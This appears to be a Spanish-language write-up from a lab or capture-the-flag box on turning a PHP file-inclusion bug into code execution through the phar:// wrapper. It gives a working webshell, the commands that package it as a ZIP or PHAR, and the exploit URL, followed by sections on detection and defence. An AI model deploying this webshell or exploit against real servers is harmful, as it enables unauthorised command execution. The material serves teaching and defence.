the_open_door
café
ESEN
← Volver al índice

PHAR Deserialization (LFI to RCE)

Arsenal completo de comandos en la cheatsheet

Cuando una aplicación PHP incluye un fichero a partir de entrada del usuario, por ejemplo include($_GET['page'].".php"), tenemos un LFI. Por sí solo permite leer ficheros, pero PHP soporta wrappers de flujo y uno de ellos, phar://, lo convierte en ejecución de código.

Un PHAR (PHP Archive) es un contenedor (puede ser un simple ZIP) con ficheros PHP dentro. El wrapper phar://ruta.zip/fichero accede a un fichero dentro del archivo. Si la aplicación nos deja subir un fichero (aunque sea con otra extensión, como un .zip adjunto a un ticket), podemos meter dentro un shell.php y luego incluirlo con el wrapper:

// shell.php dentro del zip
<?php system($_GET["cmd"]); ?>
# crear el archivo (basta un ZIP; el wrapper phar:// lo abre igual)
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.zip shell.php
# alternativa: generar un .phar real
php --define phar.readonly=0 -r '$p=new Phar("shell.phar");$p->startBuffering();$p->addFromString("shell.php","<?php system($_GET[cmd]); ?>");$p->setStub("<?php __HALT_COMPILER();");$p->stopBuffering();'

El flujo de explotación es:

  1. Crear shell.php con un system($_GET['cmd']) y comprimirlo en un ZIP.
  2. Subirlo a través de la funcionalidad legítima (en esta caja, adjuntarlo a un ticket). El servidor lo guarda en uploads/ con un nombre derivado (por ejemplo, su sha1sum).
  3. Incluirlo con el wrapper apuntando al fichero interno (sin la extensión, porque el código ya añade .php):
http://itrc.ssg.htb/?page=phar://uploads/<sha1>.zip/shell&cmd=id

El include resuelve phar://uploads/<sha1>.zip/shell.php, ejecuta el código y devuelve la salida de id &rarr; uid=33(www-data). Tenemos una webshell.

Por qué funciona. El error es doble: incluir con entrada del usuario y permitir subir contenido que luego puede interpretarse como código. El wrapper phar:// salva la barrera de "el fichero subido no se sirve como PHP", porque no se sirve: se incluye desde dentro del archivo. (Históricamente, phar:// además deserializa los metadatos del archivo, lo que abre otra vía de RCE con gadgets; aquí basta la inclusión directa.)

Cómo detectarlo. La firma en el log de acceso es un parámetro de inclusión con el esquema phar:// (page=phar://uploads/...), que ningún flujo legítimo usa; un WAF que inspeccione wrappers de PHP lo marca. Correlacionar con la subida previa: un fichero .zip/.jpg recién subido a uploads/ cuyo contenido real es un archivo PHAR (cabecera PK/__HALT_COMPILER) es el otro extremo de la cadena (FIM sobre el directorio de subidas). En el host, el proceso web abriendo un .zip de uploads/ vía stream y lanzando sh/bash a continuación confirma la ejecución (auditd/Sysmon for Linux con ppid del proceso web).

Defensa. No incluir ficheros a partir de entrada del usuario (lista blanca de páginas); guardar las subidas fuera del web root y sin nombres predecibles; deshabilitar wrappers peligrosos y validar tipo y contenido de lo que se sube.

Máquinas donde se aplica